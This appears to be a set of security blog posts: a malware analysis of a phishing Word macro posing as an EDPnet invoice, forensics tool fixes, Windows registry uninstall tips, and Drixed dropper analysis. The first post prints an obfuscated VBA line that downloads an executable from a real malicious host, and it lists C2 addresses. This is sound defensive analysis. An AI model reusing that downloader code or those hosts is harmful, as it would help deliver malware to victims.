3267298_2015061035.doc - MD5: 8ca62e90fea72d491a3933597b51d19f

Today a quick post about a piece of malware that I analyzed a couple of days ago. It came to the victim via mail. What was new was that it posed as a bill from a Belgian ISP called EDPnet and the e-mail was written in Dutch without any spelling errors.

It seemed a very legitimate e-mail actually coming from EDPnet although the IP address of the sender gave it away that the sender was from Brazil:

Received: from user-186-237-165-130.inova.net.br (186.237.165.130)

Message-ID: <3b5822$9rb1tp@relaygateway01.edpnet.net>

MIME-Version: 1.0

From: <info@edpnet.net>

To:

Date: Tue, 9 Jun 2015 04:00:46 -0200

Subject: Uw edpnet factuur 2015061035

As attachment there was a word document with a macro contained in it. The MD5 of the attachment was 8ca62e90fea72d491a3933597b51d19f. At the time of analysis there were only 2 AV's on virustotal that recognized it. The first submission was at 2015-06-09 07:20:08 UTC and the codepage is Cyrillic.

I used OfficeMalScanner by  Frank Boldewin to dump out the macro code:

C:\>OfficeMalScanner.exe 3267298_2015061035.doc info

Interestingly it dumped out 5 files:

• Module1
• Module3
• Module4
• Module5
• ThisDocument

 Module1 is written in English and contains well documented code. In the code we found the following

 If InStr(1, d.Application.OperatingSystem, "NT") Then
        '
        ' Use this line with Windows NT:
        '
        winDrive = Left(Environ("WINDIR"), 3)
        Shell winDrive & "Program Files\Windows NT\dialer.exe", 1
    Else
        '
        ' Use this line with Windows 95/98:
        '
        winFolder = Environ("WINDIR")
        Shell winFolder & "\dialer.exe", 1
    End If

As you can make up from the comments, it is code that dates from a while back.

In Module3 we have again very nicely documented code written in English, the coding style resembles the code from Module1.

Module4 and Module5 have clean code but contains the malicious code. It uses the same principle as other malware. It starts with the creation of an XMLHTTP-object and then fetches the malware. The code for fetching the malware is:

CallByName HOPPOJJ2233, Chr(79) & Chr(112) & "e" & Chr(110), VbMethod, Chr(71) & Chr(69) & Chr(84), Chr(104) & "t" & "t" & Chr(112) & Chr(58) & "/" & Chr(47) & "p" & Chr(122) & "i" & "e" & Chr(110) & Chr(116) & Chr(97) & "r" & Chr(97) & Chr(46) & Chr(112) & Chr(108) & Chr(47) & Chr(52) & Chr(50) & "/" & Chr(49) & Chr(49) & ".e" & Chr(120) & Chr(101), False


It translates to a GET of hxxp://pzientara.pl/42/11.exe. Unfortunately I didn't get my hands on this executable but when analyzing the log files interestingly the victims used the same url (since they received the same Word document) but downloaded it from different IP addresses in a time span of less than 30 minutes. The IP addresses where:

• 87.98.239.19
• 178.238.237.230
• 5.39.61.17 

Since I had victim machines at my disposal I had a look at what the the C&C-servers where and found they where making outbound connections to:

• 173.230.130.172:2443
• 31.186.99.250:8443
• 94.23.53.23:2443

When we look at the IP 87.98.239.19 in VirusTotal's Passive DNS we see that there were multiple samples hosted by the same naming logic namely hxxp://pzientara.pl/42/11.exe. and hxxp://pzientara.pl/15/10.exe.

Analysis of  the IP 178.238.237.230 in VirusTotal's Passive DNS gives us no result for hxxp://pzientara.pl/42/11.exe.

Finally the IP address 5.39.61.17 in VirusTotal's Passive DNS did not give any results for hxxp://pzientara.pl/42/11.exe either.


As last idea I wanted to have a look at the geographical spreading of the C&C servers. We see that is in the 173.230.130.172 is in USA, 31.186.99.250 is in Russia and 94.23.53.23 is in France.

Autopsy: icat-sleuthkit and ils-sleuthkit not found

Last weekend I started recovering a hard disk with pictures. While discussing it at work one of my colleagues pointed out that pictures are very valuable since they are unique. Most people can afford to loose their music collection and with a lot of effort recreate it but your holiday pictures and pictures of your dead family members are moments of the past.

Having no backup I had to do some magic. I imaged the hard disk using dd and imported the image file into Autopsy. With not to much trouble we had in front of us the data Autopsy was able to show us that the RAW-files were in the image.

When I tried to export the data though the download was always 0 kb, basically an empty file. After checking a couple of things it became clear that in the version of Kali I was running I got back

/usr/bin/icat-sleuthkit: not found

No worries, there was a file called /usr/bin/icat, so basically the solution was to make a softlink:

ln -s /usr/bin/icat /usr/bin/icat-sleuthkit


After that issue was solved I ran into another issue:

/usr/bin/ils-sleuthkit: not found

Basically the same solution applies:

ln -s /usr/bin/ils /usr/bin/ils-sleuthkit

Removing Software On Windows Using The Registry

Today I had to remove some software from a Windows system where there was "unremovable" software.

The traditional way is to go into your configuration screen and then choose the "Program and Features". The list that is shown to you is actually read from the registry. Sometimes there is software in this list that does not give you the option Uninstall.

To deal with such software you got to go in the registry yourself and check for a couple of registry keys.
The starting path is

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall.

1. UninstallString
 The UninstallString is a string that will give you a command that when run from the command line will remove the product from Windows. It is a command that uses Windows Installer. A nice source of information about this part of the registry is https://msdn.microsoft.com/en-us/library/aa372105%28VS.85%29.aspx

2. NoRemove
To hide the uninstall button in "Program and Features" for applications you'll need to find the NoRemove key. If the key is set to (hexadecimal) 1, you will not see the button If the value is set to (hexadecimal) 0, the Uninstall button will be visible.

 After a couple of hours removing unwanted software the system was ready to be (ab)used by yours truly.

Analysis of Drixed samples

From an incident response standpoint Drixed is a pretty standard case. The threat actor sends a weaponized Word document to your end user. The document functions as a dropper, this means it downloads an executable and this executable is a Trojan horse. If you want to reduce the odds of getting infected it is thus of utmost importance to train your users to report you the messages for analysis.

Koen Van Impe pointed out to me that the naming is actually confusing. My samples were Trojan droppers and named Drixed where there is also a banking Trojan called Dridex.

The documents I analyzed contained 2 modules with VBA code and one method that is triggered by the autoopen functionality. The code itself was obfuscated and depending on the document the obfuscation was different.

The autoopen is the instruction what the word document should do when opened automatically. What it basically did was to create an Microsoft.XMLHTTP object to fetch the file as binary data and then write it as an executable to disk in the TEMP folder. The Microsoft.XMLHTTP object was created to allow interaction with web servers (sending XML over HTTP) and thus also the download of a file.

The methodologies I observed for the retrieval were different, some were actually done in the VBA others were done by writing some vbs-script and then executing the script.

The tool I would recommend to extract is oledump.py by Didier Stevens. This helps you extract the VBA code without actually opening the document in a Word and thus accidentally starting the malware. Oledump.py requires the installation of the python olefile library to do its magic.

$ python oledump.py file.doc

Is your starting point but all the info you need can be found on Didier Stevens' website. Basically you select your stream and dump the stream out (don't forget -v for decompression). The data I was interested in was in stream 7 (the macro module) so it looked like

$ python oledump.py -s 7 -v file.doc

From a IR standpoint it was interesting to see that the download was using the IP addresses. The IP addresses were hacked websites. The fact that the threat actor can use the IP means that the whole sever is under his/her control. When you run the IP through Virustotal's database after +48 hours we see already another malware sample (it has a different hash) that was submitted using the same IP address. This tells you that the threat actor still has control of the server.

Another thing that was interesting is to see how they actually "hide". They downloaded in each case I saw an image from that IP address. Closer inspection actually revealed that the image extension was actually just a renamed Windows executable. The executable is your Trojan horse.

To get your sample the only thing you thus need to do is decipher the obfuscation (was not really hard in the cases I saw) and then go and get the image and rename it to exe. Then the next phase can start: tickle the malware for more info about its master ;).

Analysis of the Trojan Horse is not for this post, I just wanted to keep it on how you can get the samples being send to your organization. I ask you to share your samples or analysis/IOCs with your trusted people within other CERTs so that we don't reanalyze the same sample over and over again.

Maybe one last important thing to explain when discussing incidents like this. Although Drixed might be known by your AV-vendor, the Trojan might not be and since both can evolve (or change their obfuscation) you really got to be born under a lucky star to have a 100% match and totally protected at the time that first e-mail comes in.